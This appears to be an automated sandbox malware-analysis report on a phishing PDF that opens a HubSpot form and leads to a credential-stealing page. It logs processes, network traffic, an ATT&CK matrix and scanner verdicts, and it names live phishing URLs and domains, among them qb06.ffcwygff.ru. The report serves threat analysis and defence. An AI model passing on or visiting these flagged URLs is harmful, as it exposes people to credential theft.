Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: classification engine

Classification label: mal76.phis.winPDF@41/281@87/29

Source: FINAL000035745873695487KHFKA.pdf	Initial sample: https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw
Source: FINAL000035745873695487KHFKA.pdf	Initial sample: https://share.hsforms.com/1cw530lkrs821bfbehp3l2wsoxpw

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6640

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-16 12-44-35-674.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\FINAL000035745873695487KHFKA.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1568,i,10484229223213725940,12747390876962115917,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2076,i,9481928176101454276,10224142333723475719,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=1948,i,5665502545980441314,8434403602950159140,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1568,i,10484229223213725940,12747390876962115917,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2076,i,9481928176101454276,10224142333723475719,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=1948,i,5665502545980441314,8434403602950159140,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: Google Drive.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: FINAL000035745873695487KHFKA.pdf	Initial sample: PDF keyword /JS count = 0
Source: FINAL000035745873695487KHFKA.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: FINAL000035745873695487KHFKA.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://content-googleapis-test.sandbox.google.com	0%	Avira URL Cloud	safe
https://qb06.ffcwygff.ru/	100%	Avira URL Cloud	phishing
https://48192692.fs1.hubspotusercontent-na1.net/hubfs/48192692/images-4.png	0%	Avira URL Cloud	safe
https://translate-daily-3.corp.google.com/	0%	Avira URL Cloud	safe
https://content-googleapis-staging.sandbox.google.com	0%	Avira URL Cloud	safe
https://translate-daily-6.corp.google.com/	0%	Avira URL Cloud	safe
https://goto.google.com/translate-web-sherlog	0%	Avira URL Cloud	safe
https://qb06.ffcwygff.ru/favicon.ico	100%	Avira URL Cloud	phishing
https://translate-daily-0.corp.google.com/	0%	Avira URL Cloud	safe
https://sherlog.corp.google.com/history?q=%7Bsystem:translate-webserver%7D	0%	Avira URL Cloud	safe
https://goto.google.com/bad-translation	0%	Avira URL Cloud	safe
https://translate-daily-2.corp.google.com/	0%	Avira URL Cloud	safe
https://translate-autopush.corp.google.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
forms.hsforms.com	104.19.175.188	true	false	high
js.hs-banner.com	104.18.40.240	true	false	high
static.hsappstatic.net	104.17.172.91	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
plus.l.google.com	172.217.17.46	true	false	high
48192692.fs1.hubspotusercontent-na1.net	104.18.41.124	true	false	high
5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com	172.67.187.119	true	false	high
support.google.com	172.217.17.46	true	false	high
js.hs-analytics.net	104.17.175.201	true	false	high
i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com	172.67.222.46	true	false	high
track.hubspot.com	104.16.118.116	true	false	high
forms-na1.hsforms.com	104.18.80.204	true	false	high
code.jquery.com	151.101.66.137	true	false	high
play.google.com	172.217.19.238	true	false	high
www3.l.google.com	172.217.19.238	true	false	high
js.hsforms.net	104.18.142.119	true	false	high
forms.hscollectedforms.net	104.16.109.254	true	false	high
qb06.ffcwygff.ru	104.21.60.204	true	true	unknown
js.hs-scripts.com	104.16.140.209	true	false	high
cdn.prod.website-files.com	104.18.161.117	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
js.hscollectedforms.net	104.16.110.254	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
lh3.googleusercontent.com	unknown	unknown	false	high
translate.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://forms-na1.hsforms.com/embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1	false		high
https://www.google.com/generate_204	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413	true		unknown
https://forms.hsforms.com/embed/v3/form/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926	false		high
https://static.hsappstatic.net/forms-submission-pages/static-1.5502/bundles/share-legacy.js	false		high
https://48192692.fs1.hubspotusercontent-na1.net/hubfs/48192692/images-4.png	false	Avira URL Cloud: safe	unknown
https://forms.hsforms.com/embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1	false		high
https://js.hs-scripts.com/48192692.js	false		high
https://cdn.prod.website-files.com/5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp	false		high
https://a.nel.cloudflare.com/report/v4?s=5NYWLzRDuI80nlS2YUt7wvWcKj9npwTtL4vSZbECRoDtAsdQ%2F33Q4chrrK6cejR9N3xMEEWZ17JNA9jX6bAqGnzKHrejHug8oSLeB66J9Pau5tobx5VJV21iIfoRSA%3D%3D	false		high
https://play.google.com/log?format=json&hasfast=true	false		high
https://forms.hsforms.com/embed/v3/form/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926&hutk=f969d8b384270839a01465c358727fa6	false		high
https://forms.hsforms.com/submissions/v3/public/submit/formsnext/multipart/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926	false		high
https://lh3.googleusercontent.com/o9U8AvPuX9gkIYtYfNmH-_wBdTfOJ7jb0VwbLWWbERzml7oTPngODhKv2Br7A64=w64	false		high
https://qb06.ffcwygff.ru/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://support.google.com/	false		high
https://js.hscollectedforms.net/collectedforms.js	false		high
https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://support.google.com/translate/answer/2534530?hl=	chromecache_302.17.dr	false		high
https://stats.g.doubleclick.net/g/collect	chromecache_337.17.dr, chromecache_362.17.dr	false		high
https://feedback.googleusercontent.com/resources/annotator.css	chromecache_312.17.dr	false		high
http://www.broofa.com	chromecache_305.17.dr, chromecache_334.17.dr	false		high
https://apis.google.com/js/client.js	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://feedback2-test.corp.googleusercontent.com/tools/feedback/%	chromecache_312.17.dr	false		high
https://support.google.com/google-ads/workflow/14282534	chromecache_289.17.dr	false		high
https://support.google.com	chromecache_289.17.dr	false		high
https://www.youtube.com/embed/	chromecache_289.17.dr	false		high
http://localhost.proxy.googlers.com/inapp/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://www.google.com/accounts/TOS	chromecache_289.17.dr	false		high
https://stagingqual-feedback-pa-googleapis.sandbox.google.com	chromecache_312.17.dr	false		high
https://moltron-pa.clients6.google.com	chromecache_289.17.dr	false		high
https://ampcid.google.com/v1/publisher:getClientId	chromecache_348.17.dr, chromecache_292.17.dr	false		high
https://help.youtube.com/tools/feedback/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_361.17.dr, chromecache_323.17.dr	false		high
https://policies.google.com/terms	chromecache_289.17.dr	false		high
https://asx-frontend-staging.corp.google.com/tools/feedback/	chromecache_312.17.dr	false		high
https://www.google.com	chromecache_362.17.dr	false		high
https://ads.google.com/nav/login?dst=	chromecache_289.17.dr	false		high
https://support.google.com/translate/answer/6142468?ref_topic=7011659&hl=en-US	chromecache_302.17.dr	false		high
https://cloud.google.com/translation-hub?hl=	chromecache_302.17.dr	false		high
https://content-googleapis-test.sandbox.google.com	chromecache_289.17.dr	false	Avira URL Cloud: safe	unknown
https://asx-frontend-autopush.corp.google.co.uk/tools/feedback/	chromecache_320.17.dr, chromecache_312.17.dr	false		high
https://stats.g.doubleclick.net/j/collect	chromecache_292.17.dr	false		high
https://translate-daily-3.corp.google.com/	chromecache_271.17.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/tools/feedback	chromecache_312.17.dr	false		high
https://payments.google.com/manage/	chromecache_289.17.dr	false		high
https://supporttagging-autopush.sandbox.google.com/embed/tagging/install	chromecache_289.17.dr	false		high
https://sandbox.google.com/inapp/%	chromecache_312.17.dr	false		high
https://apis.google.com/js/api.js	chromecache_291.17.dr, chromecache_283.17.dr	false		high
https://static.hsappstatic.net	chromecache_263.17.dr	false		high
